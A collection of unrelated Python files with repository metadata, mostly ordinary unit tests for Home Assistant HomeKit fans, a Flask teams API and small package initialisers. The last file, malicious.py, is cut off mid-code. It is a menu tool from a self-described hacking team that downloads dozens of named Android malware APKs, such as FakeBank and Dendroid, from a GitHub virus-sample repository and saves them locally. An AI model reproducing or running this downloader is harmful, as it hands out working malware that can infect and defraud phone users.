limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) #user_id2, metric2 series, values = self._backend.get_metric_by_week(user_id2, metric2, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1)

47.895437

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0.645358

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50,386

3.872281

0.026841

0.052431

0.110381

0.105059

0.946912

0.932523

0.924244

0.909461

0.888009

0.879862

0

0.102951

0.200353

50,386

1,051

157

47.941009

0.652553

0.039813

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0.684967

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0.065359

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null

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null

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6

8111d256594affddcde6925851662fdecd27da25

17,626

py

Python

tests/components/homekit/test_type_fans.py

kangaroomadman/core

73d7d80731a5f18915e4e871111b752d1137ff66

[ "Apache-2.0" ]

4

2016-06-22T12:00:41.000Z

2018-06-11T20:31:25.000Z

tests/components/homekit/test_type_fans.py

kangaroomadman/core

73d7d80731a5f18915e4e871111b752d1137ff66

[ "Apache-2.0" ]

57

2020-10-15T06:47:00.000Z

2022-03-31T06:11:18.000Z

tests/components/homekit/test_type_fans.py

kangaroomadman/core

73d7d80731a5f18915e4e871111b752d1137ff66

[ "Apache-2.0" ]

6

2019-07-06T00:43:13.000Z

2021-01-16T13:27:06.000Z

"""Test different accessory types: Fans.""" from pyhap.const import HAP_REPR_AID, HAP_REPR_CHARS, HAP_REPR_IID, HAP_REPR_VALUE from homeassistant.components.fan import ( ATTR_DIRECTION, ATTR_OSCILLATING, ATTR_PERCENTAGE, DIRECTION_FORWARD, DIRECTION_REVERSE, DOMAIN, SUPPORT_DIRECTION, SUPPORT_OSCILLATE, SUPPORT_SET_SPEED, ) from homeassistant.components.homekit.const import ATTR_VALUE from homeassistant.components.homekit.type_fans import Fan from homeassistant.const import ( ATTR_ENTITY_ID, ATTR_SUPPORTED_FEATURES, EVENT_HOMEASSISTANT_START, STATE_OFF, STATE_ON, STATE_UNKNOWN, ) from homeassistant.core import CoreState from homeassistant.helpers import entity_registry from tests.common import async_mock_service async def test_fan_basic(hass, hk_driver, events): """Test fan with char state.""" entity_id = "fan.demo" hass.states.async_set(entity_id, STATE_ON, {ATTR_SUPPORTED_FEATURES: 0}) await hass.async_block_till_done() acc = Fan(hass, hk_driver, "Fan", entity_id, 1, None) hk_driver.add_accessory(acc) assert acc.aid == 1 assert acc.category == 3 # Fan assert acc.char_active.value == 1 # If there are no speed_list values, then HomeKit speed is unsupported assert acc.char_speed is None await acc.run_handler() await hass.async_block_till_done() assert acc.char_active.value == 1 hass.states.async_set(entity_id, STATE_OFF, {ATTR_SUPPORTED_FEATURES: 0}) await hass.async_block_till_done() assert acc.char_active.value == 0 hass.states.async_set(entity_id, STATE_UNKNOWN) await hass.async_block_till_done() assert acc.char_active.value == 0 hass.states.async_remove(entity_id) await hass.async_block_till_done() assert acc.char_active.value == 0 # Set from HomeKit call_turn_on = async_mock_service(hass, DOMAIN, "turn_on") call_turn_off = async_mock_service(hass, DOMAIN, "turn_off") char_active_iid = acc.char_active.to_HAP()[HAP_REPR_IID] hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_active_iid, HAP_REPR_VALUE: 1, }, ] }, "mock_addr", ) await hass.async_block_till_done() assert call_turn_on assert call_turn_on[0].data[ATTR_ENTITY_ID] == entity_id assert len(events) == 1 assert events[-1].data[ATTR_VALUE] is None hass.states.async_set(entity_id, STATE_ON) await hass.async_block_till_done() hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_active_iid, HAP_REPR_VALUE: 0, }, ] }, "mock_addr", ) await hass.async_block_till_done() assert call_turn_off assert call_turn_off[0].data[ATTR_ENTITY_ID] == entity_id assert len(events) == 2 assert events[-1].data[ATTR_VALUE] is None async def test_fan_direction(hass, hk_driver, events): """Test fan with direction.""" entity_id = "fan.demo" hass.states.async_set( entity_id, STATE_ON, {ATTR_SUPPORTED_FEATURES: SUPPORT_DIRECTION, ATTR_DIRECTION: DIRECTION_FORWARD}, ) await hass.async_block_till_done() acc = Fan(hass, hk_driver, "Fan", entity_id, 1, None) hk_driver.add_accessory(acc) assert acc.char_direction.value == 0 await acc.run_handler() await hass.async_block_till_done() assert acc.char_direction.value == 0 hass.states.async_set(entity_id, STATE_ON, {ATTR_DIRECTION: DIRECTION_REVERSE}) await hass.async_block_till_done() assert acc.char_direction.value == 1 # Set from HomeKit call_set_direction = async_mock_service(hass, DOMAIN, "set_direction") char_direction_iid = acc.char_direction.to_HAP()[HAP_REPR_IID] hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_direction_iid, HAP_REPR_VALUE: 0, }, ] }, "mock_addr", ) await hass.async_block_till_done() assert call_set_direction[0] assert call_set_direction[0].data[ATTR_ENTITY_ID] == entity_id assert call_set_direction[0].data[ATTR_DIRECTION] == DIRECTION_FORWARD assert len(events) == 1 assert events[-1].data[ATTR_VALUE] == DIRECTION_FORWARD hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_direction_iid, HAP_REPR_VALUE: 1, }, ] }, "mock_addr", ) await hass.async_add_executor_job(acc.char_direction.client_update_value, 1) await hass.async_block_till_done() assert call_set_direction[1] assert call_set_direction[1].data[ATTR_ENTITY_ID] == entity_id assert call_set_direction[1].data[ATTR_DIRECTION] == DIRECTION_REVERSE assert len(events) == 2 assert events[-1].data[ATTR_VALUE] == DIRECTION_REVERSE async def test_fan_oscillate(hass, hk_driver, events): """Test fan with oscillate.""" entity_id = "fan.demo" hass.states.async_set( entity_id, STATE_ON, {ATTR_SUPPORTED_FEATURES: SUPPORT_OSCILLATE, ATTR_OSCILLATING: False}, ) await hass.async_block_till_done() acc = Fan(hass, hk_driver, "Fan", entity_id, 1, None) hk_driver.add_accessory(acc) assert acc.char_swing.value == 0 await acc.run_handler() await hass.async_block_till_done() assert acc.char_swing.value == 0 hass.states.async_set(entity_id, STATE_ON, {ATTR_OSCILLATING: True}) await hass.async_block_till_done() assert acc.char_swing.value == 1 # Set from HomeKit call_oscillate = async_mock_service(hass, DOMAIN, "oscillate") char_swing_iid = acc.char_swing.to_HAP()[HAP_REPR_IID] hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_swing_iid, HAP_REPR_VALUE: 0, }, ] }, "mock_addr", ) await hass.async_add_executor_job(acc.char_swing.client_update_value, 0) await hass.async_block_till_done() assert call_oscillate[0] assert call_oscillate[0].data[ATTR_ENTITY_ID] == entity_id assert call_oscillate[0].data[ATTR_OSCILLATING] is False assert len(events) == 1 assert events[-1].data[ATTR_VALUE] is False hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_swing_iid, HAP_REPR_VALUE: 1, }, ] }, "mock_addr", ) await hass.async_add_executor_job(acc.char_swing.client_update_value, 1) await hass.async_block_till_done() assert call_oscillate[1] assert call_oscillate[1].data[ATTR_ENTITY_ID] == entity_id assert call_oscillate[1].data[ATTR_OSCILLATING] is True assert len(events) == 2 assert events[-1].data[ATTR_VALUE] is True async def test_fan_speed(hass, hk_driver, events): """Test fan with speed.""" entity_id = "fan.demo" hass.states.async_set( entity_id, STATE_ON, { ATTR_SUPPORTED_FEATURES: SUPPORT_SET_SPEED, ATTR_PERCENTAGE: 0, }, ) await hass.async_block_till_done() acc = Fan(hass, hk_driver, "Fan", entity_id, 1, None) hk_driver.add_accessory(acc) # Initial value can be anything but 0. If it is 0, it might cause HomeKit to set the # speed to 100 when turning on a fan on a freshly booted up server. assert acc.char_speed.value != 0 await acc.run_handler() await hass.async_block_till_done() hass.states.async_set(entity_id, STATE_ON, {ATTR_PERCENTAGE: 100}) await hass.async_block_till_done() assert acc.char_speed.value == 100 # Set from HomeKit call_set_percentage = async_mock_service(hass, DOMAIN, "set_percentage") char_speed_iid = acc.char_speed.to_HAP()[HAP_REPR_IID] char_active_iid = acc.char_active.to_HAP()[HAP_REPR_IID] hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_speed_iid, HAP_REPR_VALUE: 42, }, ] }, "mock_addr", ) await hass.async_add_executor_job(acc.char_speed.client_update_value, 42) await hass.async_block_till_done() assert acc.char_speed.value == 42 assert acc.char_active.value == 1 assert call_set_percentage[0] assert call_set_percentage[0].data[ATTR_ENTITY_ID] == entity_id assert call_set_percentage[0].data[ATTR_PERCENTAGE] == 42 assert len(events) == 1 assert events[-1].data[ATTR_VALUE] == 42 # Verify speed is preserved from off to on hass.states.async_set(entity_id, STATE_OFF, {ATTR_PERCENTAGE: 42}) await hass.async_block_till_done() assert acc.char_speed.value == 42 assert acc.char_active.value == 0 hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_active_iid, HAP_REPR_VALUE: 1, }, ] }, "mock_addr", ) await hass.async_block_till_done() assert acc.char_speed.value == 42 assert acc.char_active.value == 1 async def test_fan_set_all_one_shot(hass, hk_driver, events): """Test fan with speed.""" entity_id = "fan.demo" hass.states.async_set( entity_id, STATE_ON, { ATTR_SUPPORTED_FEATURES: SUPPORT_SET_SPEED | SUPPORT_OSCILLATE | SUPPORT_DIRECTION, ATTR_PERCENTAGE: 0, ATTR_OSCILLATING: False, ATTR_DIRECTION: DIRECTION_FORWARD, }, ) await hass.async_block_till_done() acc = Fan(hass, hk_driver, "Fan", entity_id, 1, None) hk_driver.add_accessory(acc) # Initial value can be anything but 0. If it is 0, it might cause HomeKit to set the # speed to 100 when turning on a fan on a freshly booted up server. assert acc.char_speed.value != 0 await acc.run_handler() await hass.async_block_till_done() hass.states.async_set( entity_id, STATE_OFF, { ATTR_SUPPORTED_FEATURES: SUPPORT_SET_SPEED | SUPPORT_OSCILLATE | SUPPORT_DIRECTION, ATTR_PERCENTAGE: 0, ATTR_OSCILLATING: False, ATTR_DIRECTION: DIRECTION_FORWARD, }, ) await hass.async_block_till_done() assert hass.states.get(entity_id).state == STATE_OFF # Set from HomeKit call_set_percentage = async_mock_service(hass, DOMAIN, "set_percentage") call_oscillate = async_mock_service(hass, DOMAIN, "oscillate") call_set_direction = async_mock_service(hass, DOMAIN, "set_direction") call_turn_on = async_mock_service(hass, DOMAIN, "turn_on") call_turn_off = async_mock_service(hass, DOMAIN, "turn_off") char_active_iid = acc.char_active.to_HAP()[HAP_REPR_IID] char_direction_iid = acc.char_direction.to_HAP()[HAP_REPR_IID] char_swing_iid = acc.char_swing.to_HAP()[HAP_REPR_IID] char_speed_iid = acc.char_speed.to_HAP()[HAP_REPR_IID] hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_active_iid, HAP_REPR_VALUE: 1, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_speed_iid, HAP_REPR_VALUE: 42, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_swing_iid, HAP_REPR_VALUE: 1, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_direction_iid, HAP_REPR_VALUE: 1, }, ] }, "mock_addr", ) await hass.async_block_till_done() assert not call_turn_on assert call_set_percentage[0] assert call_set_percentage[0].data[ATTR_ENTITY_ID] == entity_id assert call_set_percentage[0].data[ATTR_PERCENTAGE] == 42 assert call_oscillate[0] assert call_oscillate[0].data[ATTR_ENTITY_ID] == entity_id assert call_oscillate[0].data[ATTR_OSCILLATING] is True assert call_set_direction[0] assert call_set_direction[0].data[ATTR_ENTITY_ID] == entity_id assert call_set_direction[0].data[ATTR_DIRECTION] == DIRECTION_REVERSE assert len(events) == 3 assert events[0].data[ATTR_VALUE] is True assert events[1].data[ATTR_VALUE] == DIRECTION_REVERSE assert events[2].data[ATTR_VALUE] == 42 hass.states.async_set( entity_id, STATE_ON, { ATTR_SUPPORTED_FEATURES: SUPPORT_SET_SPEED | SUPPORT_OSCILLATE | SUPPORT_DIRECTION, ATTR_PERCENTAGE: 0, ATTR_OSCILLATING: False, ATTR_DIRECTION: DIRECTION_FORWARD, }, ) await hass.async_block_till_done() hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_active_iid, HAP_REPR_VALUE: 1, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_speed_iid, HAP_REPR_VALUE: 42, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_swing_iid, HAP_REPR_VALUE: 1, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_direction_iid, HAP_REPR_VALUE: 1, }, ] }, "mock_addr", ) # Turn on should not be called if its already on # and we set a fan speed await hass.async_block_till_done() assert len(events) == 6 assert call_set_percentage[1] assert call_set_percentage[1].data[ATTR_ENTITY_ID] == entity_id assert call_set_percentage[1].data[ATTR_PERCENTAGE] == 42 assert call_oscillate[1] assert call_oscillate[1].data[ATTR_ENTITY_ID] == entity_id assert call_oscillate[1].data[ATTR_OSCILLATING] is True assert call_set_direction[1] assert call_set_direction[1].data[ATTR_ENTITY_ID] == entity_id assert call_set_direction[1].data[ATTR_DIRECTION] == DIRECTION_REVERSE assert events[-3].data[ATTR_VALUE] is True assert events[-2].data[ATTR_VALUE] == DIRECTION_REVERSE assert events[-1].data[ATTR_VALUE] == 42 hk_driver.set_characteristics( { HAP_REPR_CHARS: [ { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_active_iid, HAP_REPR_VALUE: 0, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_speed_iid, HAP_REPR_VALUE: 42, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_swing_iid, HAP_REPR_VALUE: 1, }, { HAP_REPR_AID: acc.aid, HAP_REPR_IID: char_direction_iid, HAP_REPR_VALUE: 1, }, ] }, "mock_addr", ) await hass.async_block_till_done() assert len(events) == 7 assert call_turn_off assert call_turn_off[0].data[ATTR_ENTITY_ID] == entity_id assert len(call_set_percentage) == 2 assert len(call_oscillate) == 2 assert len(call_set_direction) == 2 async def test_fan_restore(hass, hk_driver, events): """Test setting up an entity from state in the event registry.""" hass.state = CoreState.not_running registry = await entity_registry.async_get_registry(hass) registry.async_get_or_create( "fan", "generic", "1234", suggested_object_id="simple", ) registry.async_get_or_create( "fan", "generic", "9012", suggested_object_id="all_info_set", capabilities={"speed_list": ["off", "low", "medium", "high"]}, supported_features=SUPPORT_SET_SPEED | SUPPORT_OSCILLATE | SUPPORT_DIRECTION, device_class="mock-device-class", ) hass.bus.async_fire(EVENT_HOMEASSISTANT_START, {}) await hass.async_block_till_done() acc = Fan(hass, hk_driver, "Fan", "fan.simple", 2, None) assert acc.category == 3 assert acc.char_active is not None assert acc.char_direction is None assert acc.char_speed is None assert acc.char_swing is None acc = Fan(hass, hk_driver, "Fan", "fan.all_info_set", 2, None) assert acc.category == 3 assert acc.char_active is not None assert acc.char_direction is not None assert acc.char_speed is not None assert acc.char_swing is not None

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d492ce753fd207b328ede22b37e57f737408f897

6,493

py

Python

tests/test_api_teams.py

jroimartin/graph-asset-inventory-api

1ce0172f5d6a3dc9a1d9f0acd7839398a8b58833

[ "MIT" ]

1

2021-12-02T07:25:00.000Z

tests/test_api_teams.py

jroimartin/graph-asset-inventory-api

1ce0172f5d6a3dc9a1d9f0acd7839398a8b58833

[ "MIT" ]

null

tests/test_api_teams.py

jroimartin/graph-asset-inventory-api

1ce0172f5d6a3dc9a1d9f0acd7839398a8b58833

[ "MIT" ]

2

2021-08-09T15:19:09.000Z

2021-11-14T19:13:27.000Z

"""Tests for the Asset Inventory API.""" import json from helpers import compare_unsorted_list from graph_asset_inventory_api.api import TeamReq def test_get_teams(flask_cli, init_api_teams): """Tests the API endpoint ``GET /v1/teams``.""" resp = flask_cli.get('/v1/teams') data = json.loads(resp.data) assert compare_unsorted_list( data, init_api_teams, lambda x: x['id']) def test_get_teams_pagination(flask_cli, init_api_teams): """Tests the API endpoint ``GET /v1/teams`` with pagination.""" resp = flask_cli.get('/v1/teams?page=1&size=2') data = json.loads(resp.data) assert compare_unsorted_list( data, init_api_teams[2:4], lambda x: x['id']) def test_get_teams_pagination_missing_size(flask_cli, init_api_teams): """Tests the API endpoint ``GET /v1/teams`` with pagination when the size parameter is not specified.""" resp = flask_cli.get('/v1/teams?page=0') data = json.loads(resp.data) assert compare_unsorted_list(data, init_api_teams, lambda x: x['id']) def test_post_teams(flask_cli, init_api_teams): """Tests the API endpoint ``POST /v1/teams``.""" team_req = TeamReq('new_identifier', 'new_name') resp = flask_cli.post( '/v1/teams', data=json.dumps(team_req.__dict__), content_type='application/json', ) assert resp.status_code == 201 created_team = json.loads(resp.data) assert created_team['id'] is not None assert created_team['identifier'] == team_req.identifier assert created_team['name'] == team_req.name final_teams = init_api_teams + [created_team] assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), final_teams, lambda x: x['id'], ) def test_post_teams_conflict_error(flask_cli, init_api_teams): """Tests the API endpoint ``POST /v1/teams`` with an already existing identifier.""" team_req = TeamReq(init_api_teams[2]['identifier'], 'new_name') resp = flask_cli.post( '/v1/teams', data=json.dumps(team_req.__dict__), content_type='application/json', ) assert resp.status_code == 409 assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), init_api_teams, lambda x: x['id'], ) def test_post_teams_empty_identifier_name(flask_cli, init_api_teams): """Tests the API endpoint ``POST /v1/teams`` with an empty identifier or name string.""" # Empty identifier. team_req = TeamReq('', 'new_name') resp = flask_cli.post( '/v1/teams', data=json.dumps(team_req.__dict__), content_type='application/json', ) assert resp.status_code == 400 assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), init_api_teams, lambda x: x['id'], ) # Empty name. team_req = TeamReq('new_identifier', '') resp = flask_cli.post( '/v1/teams', data=json.dumps(team_req.__dict__), content_type='application/json', ) assert resp.status_code == 400 assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), init_api_teams, lambda x: x['id'], ) def test_get_teams_id(flask_cli, init_api_teams): """Tests the API endpoint ``GET /v1/teams/{id}``.""" team_id = init_api_teams[2]['id'] resp = flask_cli.get(f'/v1/teams/{team_id}') data = json.loads(resp.data) assert data == init_api_teams[2] def test_get_teams_id_not_found_error(flask_cli): """Tests the API endpoint ``GET /v1/teams/{id} with an unknown id.""" resp = flask_cli.get('/v1/teams/13371337') assert resp.status_code == 404 def test_delete_teams_id(flask_cli, init_api_teams): """Tests the API endpoint ``DELETE /v1/teams/{id}``.""" team_id = init_api_teams[2]['id'] resp = flask_cli.delete(f'/v1/teams/{team_id}') assert resp.status_code == 204 final_teams = init_api_teams[:2] + init_api_teams[3:] assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), final_teams, lambda x: x['id'], ) def test_delete_teams_id_not_found_error(flask_cli, init_api_teams): """Tests the API endpoint ``DELETE /v1/teams/{id}`` with an unknown id.""" resp = flask_cli.delete('/v1/teams/13371337') assert resp.status_code == 404 assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), init_api_teams, lambda x: x['id'], ) def test_put_teams(flask_cli, init_api_teams): """Tests the API endpoint ``PUT /v1/teams``.""" team_id = init_api_teams[2]['id'] team_req = TeamReq(init_api_teams[2]['identifier'], 'new_name') resp = flask_cli.put( f'/v1/teams/{team_id}', data=json.dumps(team_req.__dict__), content_type='application/json', ) assert resp.status_code == 200 updated_team = json.loads(resp.data) assert updated_team['id'] == team_id assert updated_team['identifier'] == team_req.identifier assert updated_team['name'] == team_req.name final_teams = init_api_teams[:2] + init_api_teams[3:] + [updated_team] assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), final_teams, lambda x: x['id'], ) def test_put_teams_id_not_found_error(flask_cli, init_api_teams): """Tests the API endpoint ``PUT /v1/teams`` with an unknown id.""" team_req = TeamReq( init_api_teams[2]['identifier'], init_api_teams[2]['name']) resp = flask_cli.put( '/v1/teams/31337', data=json.dumps(team_req.__dict__), content_type='application/json', ) assert resp.status_code == 404 assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), init_api_teams, lambda x: x['id'], ) def test_put_teams_identifier_not_found_error(flask_cli, init_api_teams): """Tests the API endpoint ``PUT /v1/teams`` with an unknown identifier.""" team_id = init_api_teams[2]['id'] team_req = TeamReq('identifier1337', init_api_teams[2]['name']) resp = flask_cli.put( f'/v1/teams/{team_id}', data=json.dumps(team_req.__dict__), content_type='application/json', ) assert resp.status_code == 404 assert compare_unsorted_list( json.loads(flask_cli.get('/v1/teams').data), init_api_teams, lambda x: x['id'], )

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d4a2e8b0af5397622be5f2c8902759f4b178f5b7

68

py

Python

venv/Lib/site-packages/pygame_ai/__init__.py

KamilLoska/HeroAttack

a4860b246b032d083303d9dd074ae79facdb5031

[ "MIT" ]

null

venv/Lib/site-packages/pygame_ai/__init__.py

KamilLoska/HeroAttack

a4860b246b032d083303d9dd074ae79facdb5031

[ "MIT" ]

null

venv/Lib/site-packages/pygame_ai/__init__.py

KamilLoska/HeroAttack

a4860b246b032d083303d9dd074ae79facdb5031

[ "MIT" ]

null

from . import gameobject from . import steering from . import utils

17

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0

6

d4a7a5af3ae7bb628de34b9be4ff9f78a3ff4083

82

py

Python

app/auth/__init__.py

GinnyGaga/20171202flasky

298787c1f54b9ece8048fd359d56044716ffa345

[ "MIT" ]

null

app/auth/__init__.py

GinnyGaga/20171202flasky

298787c1f54b9ece8048fd359d56044716ffa345

[ "MIT" ]

5

2020-03-24T15:26:17.000Z

2021-02-02T21:42:07.000Z

app/auth/__init__.py

GinnyGaga/flaskyblog

e0e5d8d5bbc38a2237c0a055f1d15f26adb97f7c

[ "MIT" ]

null

from flask import Blueprint auth=Blueprint('auth',__name__) from . import views

13.666667

31

0.780488

11

82

5.454545

0.636364

0.433333

0

0.134146

82

5

32

16.4

0.84507

0

0.04878

0

1

0

false

0

0.666667

0

0.666667

1

0

null

1

0

1

0

null

0

1

0

1

0

6

d4cc86ee44be3ec239230b79dbfb11e87b3f4f49

38,398

py

Python

malicious.py

Anonymous3-SIT/Malicious

df21d56e2abfc35a75cff87f4174f0ecbec796f6

[ "MIT" ]

2

2020-09-18T09:45:18.000Z

2021-11-03T13:11:40.000Z

malicious.py

Anonymous3-SIT/Malicious

df21d56e2abfc35a75cff87f4174f0ecbec796f6

[ "MIT" ]

null

malicious.py

Anonymous3-SIT/Malicious

df21d56e2abfc35a75cff87f4174f0ecbec796f6

[ "MIT" ]

1

2021-11-03T13:11:40.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- #####DONT CHANGE THIS######## import sys,os,platform from time import * x = platform.system() import requests from tqdm import tqdm #--- Color ---# W = '\033[0m' # white (default) R = '\033[31m' # red G = '\033[1;32m' # green bold O = '\033[33m' # orange B = '\033[34m' # blue P = '\033[35m' # purple C = '\033[36m' # cyan GR = '\033[37m' # gray fun = "Download Succes ^_^" now = strftime("%T") bulan = strftime("%B") tahun = strftime("%Y") #--- Def menu ---# def banner(): os.system('printf "\t\t_ _ ____ _ _ ____ _ ____ _ _ ____\n\t\t|\/| |__| | | | | | | | | [__ \n\t\t| | | | |___ | |___ | |__| |__| ___]\n\n" | lolcat') #print(""+R+"I "+C+"████╗ ████║██╔══██╗██║ ██║██╔════╝██║██╔═══██╗██║ ██║██╔════╝ "+R+"I") #print(""+R+"R "+C+"██╔████╔██║███████║██║ ██║██║ ██║██║ ██║██║ ██║███████╗ "+R+"R") # print(""+R+"U "+C+"██║╚██╔╝██║██╔══██║██║ ██║██║ ██║██║ ██║██║ ██║╚════██║ "+R+"U") # print(""+R+"S "+C+"██║ ╚═╝ ██║██║ ██║███████╗██║╚██████╗██║╚██████╔╝╚██████╔╝███████║ "+R+"S") # print(""+R+"! "+C+"╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═════╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ "+R+"!") def about(): print("\t\t"+B+"<<<<<<| "+R+"About Tool "+B+"|>>>>>>\n") print("\t"+G+"Made"+B+" with full"+R+" <3"+B+"\t\t") print("\tAuthor : Mr.TamfanX\t\t\t") print("\tVersion : 1.1\t\t\t") print("\tTeam : "+R+"Pem4lang Security") print("\t"+B+"Thanks to SIT_GM") menu() def banner2(): print(""+O+"") def fontcolor(): print(""+W+"") #######DONT CHANGE THIS######### #################### START ANDROID def Vandroid(): print(""+O+"["+R+"1"+O+"] Agent\t\t["+R+"15"+O+"] Elite\t\t["+R+"29"+O+"] Prasesfee") print(""+O+"["+R+"2"+O+"] Badnews\t\t["+R+"16"+O+"] Omigo\t\t["+R+"30"+O+"] RecipeSmart") print(""+O+"["+R+"3"+O+"] Bios\t\t["+R+"17"+O+"] Opfake\t\t["+R+"31"+O+"] Romaticpos") print(""+O+"["+R+"4"+O+"] BlatanSMS\t\t["+R+"18"+O+"] SmsWorker\t\t["+R+"32"+O+"] Statetss") print(""+O+"["+R+"5"+O+"] BrainTest\t\t["+R+"19"+O+"] Vietcon\t\t["+R+"33"+O+"] Thinking") print(""+O+"["+R+"6"+O+"] Claco\t\t["+R+"20"+O+"] Candycorn\t\t["+R+"34"+O+"] Crd") print(""+O+"["+R+"7"+O+"] DropDialer\t\t["+R+"21"+O+"] Cat\t\t["+R+"35"+O+"] Dendroid") print(""+O+"["+R+"8"+O+"] FakeBank\t\t["+R+"22"+O+"] Chistescortos\t["+R+"36"+O+"] Ds") print(""+O+"["+R+"9"+O+"] FakeCMCC\t\t["+R+"23"+O+"] Chistespicanticos\t["+R+"37"+O+"] Facebook") print(""+O+"["+R+"10"+O+"] FakeDoc\t\t["+R+"24"+O+"] ComFunnys\t\t["+R+"38"+O+"] Fakeav") print(""+O+"["+R+"11"+O+"] FakeValidation\t["+R+"25"+O+"] ComImagePets\t["+R+"39"+O+"] ArtStation") print(""+O+"["+R+"12"+O+"] Fobus\t\t["+R+"26"+O+"] ComKitchen\t\t["+R+"40"+O+"] MusicPlayer") print(""+O+"["+R+"13"+O+"] GinMaster\t\t["+R+"27"+O+"] ComLaughtter\t["+R+"41"+O+"] Settings") print(""+O+"["+R+"14"+O+"] Masnu\t\t["+R+"28"+O+"] Prasesamor\t\t["+R+"42"+O+"] Back") try: menu1 = input("Input Number > "+R+"") if menu1 == 1:#############done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Agent.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Agent.apk?raw=true' Android/Agent.apk") print(fun)######done elif menu1 == 2:#####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/BadNews.A.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'BadNews.A.apk?raw=true' Android/BadNews.apk") print(fun)#######done elif menu1 == 3:#####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Bios.NativeMaliciousCode.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Bios.NativeMaliciousCode.apk?raw=true' Android/Bios.apk") print(fun)#####done elif menu1 == 4:########done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Blatantsms.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Blatantsms.apk?raw=true' Android/Blatantsms.apk") print(fun)#####done elif menu1 == 5:#####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/BrainTest.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'BrainTest.apk?raw=true' Android/BrainTest.apk") print(fun)#####done elif menu1 == 6:##########done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Claco.A.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Claco.A.apk?raw=true' Android/Claco.apk") print(fun)#####done elif menu1 == 7:####done print(""+G+"") chunk_size = 1024 url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Dropdialer.apk?raw=true' r = requests.get(url, stream = True) size = int(r.headers['content-length']) filename = url.split('/')[-1] with open(filename, 'wb') as f: for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): f.write(data) os.system("mv 'Dropdialer.apk?raw=true' Android/DropDialer.apk") print(fun)#####done elif menu1 == 8:#####done print(""+G+"") chunk_size = 